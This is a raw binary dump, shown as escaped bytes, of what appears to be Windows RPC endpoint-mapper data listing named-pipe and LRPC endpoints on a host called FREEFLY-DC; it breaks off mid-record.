\x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\x03mq\x98\xac\x89\xc7D\xbb\x8c(X$\xe5\x1cJ\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rIY\xd3\x86\xc9\x83D@\xb4$\xdb621\xfd\x0c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x02\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\rIY\xd3\x86\xc9\x83D@\xb4$\xdb621\xfd\x0c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\rIY\xd3\x86\xc9\x83D@\xb4$\xdb621\xfd\x0c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rIY\xd3\x86\xc9\x83D@\xb4$\xdb621\xfd\x0c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\rIY\xd3\x86\xc9\x83D@\xb4$\xdb621\xfd\x0c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\r\xb0R\x8e7\xa9\xc0\xcf\x11\x82-\x00\xaa\x00Q\xe4\x0f\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\xb0R\x8e7\xa9\xc0\xcf\x11\x82-\x00\xaa\x00Q\xe4\x0f\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xb0R\x8e7\xa9\xc0\xcf\x11\x82-\x00\xaa\x00Q\xe4\x0f\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\xb0R\x8e7\xa9\xc0\xcf\x11\x82-\x00\xaa\x00Q\xe4\x0f\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\r\x82\x06\xf7\x1fQ\n\xe80\x07mt\x0b\xe8\xce\xe9\x8b\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\x82\x06\xf7\x1fQ\n\xe80\x07mt\x0b\xe8\xce\xe9\x8b\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\x82\x06\xf7\x1fQ\n\xe80\x07mt\x0b\xe8\xce\xe9\x8b\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\x82\x06\xf7\x1fQ\n\xe80\x07mt\x0b\xe8\xce\xe9\x8b\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\x1c\xeft\n\xa4A\x06N\x83\xae\xdct\xfb\x1c\xddS\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\x1c\xeft\n\xa4A\x06N\x83\xae\xdct\xfb\x1c\xddS\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\x1c\xeft\n\xa4A\x06N\x83\xae\xdct\xfb\x1c\xddS\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r>\x8e\xb0.\x9fc\xbaO\x97\xb1\x14\xf8x\x96\x10v\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r>\x8e\xb0.\x9fc\xbaO\x97\xb1\x14\xf8x\x96\x10v\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccN\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccd\x00\x00\x00d\x00\x00\x00\x05\x00\x13\x00\rM\xdds4\x88.\x06@\x9c\xba"W\t\t\xdd\x10\x05\x00\x02\x00\x01\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x12\x00\\PIPE\\W32TIME_ALT\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00L\x00\x00\x00L\x00\x00\x00\x04\x00\x13\x00\rM\xdds4\x88.\x06@\x9c\xba"W\t\t\xdd\x10\x05\x00\x02\x00\x01\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0c\x00W32TIME_ALT\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\rM\xdds4\x88.\x06@\x9c\xba"W\t\t\xdd\x10\x05\x00\x02\x00\x01\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-e096b877a0c1c7e4dc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rM\xdds4\x88.\x06@\x9c\xba"W\t\t\xdd\x10\x05\x00\x02\x00\x01\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE59206968EBA94EAC82860D7A65BE\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xcf\x0b\xa7~\xafHjO\x89hjD\x07T\xd5\xfa\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-e096b877a0c1c7e4dc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\xcf\x0b\xa7~\xafHjO\x89hjD\x07T\xd5\xfa\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE59206968EBA94EAC82860D7A65BE\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\x82&\xb9/\x99e\xdcB\xae\x13\xbd,\xa8\x9b\xd1\x1c\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-529ca01a24709db950\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xbf\x11\x9d\x7f\xb9\x7fkC\xa8\x12\xb2\xd5\x0c]L\x03\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-529ca01a24709db950\x00X\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r%\x04I\xdd%SeE\xb7t~\'\xd6\xc0\x9c$\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-529ca01a24709db950\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x06\x01\x00\t\x04\x00\x00\x00\x00\x00\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x1f\x02\x00\xc0\x05\x01\x00\t\x04\x00\x00\x00\x00\x00\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00NTDS_LPC\x00\xcc\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLEA42FB87E2EF04FE2895FA42C2387\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x03\x01\x00\t\x04\x00\x00\x00\x00\x00\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00samss lpc\x00\xcc\xccG\x00\x00\x00G\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x07\x00dsrole\x00\xccj\x00\x00\x00j\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x18\x00\\PIPE\\protected_storage\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccR\x00\x00\x00R\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x12\x00protected_storage\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0b\x00lsasspirpc\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00lsapolicylookup\x00P\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00LSARPC_ENDPOINT\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00securityevent\x00\xcc\xccF\x00\x00\x00F\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x06\x00audit\x00\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-75fac2f88290daf44c\x00^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\rxV4\x124\x12\xcd\xab\xef\x00\x01#Eg\xcf\xfb\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\pipe\\lsass\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x06\x01\x00\t\x04\x00\x00\x00\x00\x00\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x1f\x02\x00\xc0\x05\x01\x00\t\x04\x00\x00\x00\x00\x00\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00NTDS_LPC\x00\xcc\xcc\xcc`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLEA42FB87E2EF04FE2895FA42C2387\x00K\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x03\x01\x00\t\x04\x00\x00\x00\x00\x00\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00samss lpc\x00\xcc\xccG\x00\x00\x00G\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x07\x00dsrole\x00\xccj\x00\x00\x00j\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x18\x00\\PIPE\\protected_storage\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccR\x00\x00\x00R\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x12\x00protected_storage\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0b\x00lsasspirpc\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00lsapolicylookup\x00P\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00LSARPC_ENDPOINT\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00securityevent\x00\xcc\xccF\x00\x00\x00F\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x06\x00audit\x00\xcc\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-75fac2f88290daf44c\x00^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xac\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\pipe\\lsass\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rxW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x1f\x02\x00\xc0\x05\x01\x00\t\x04\x00\x00\x00\x00\x00\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x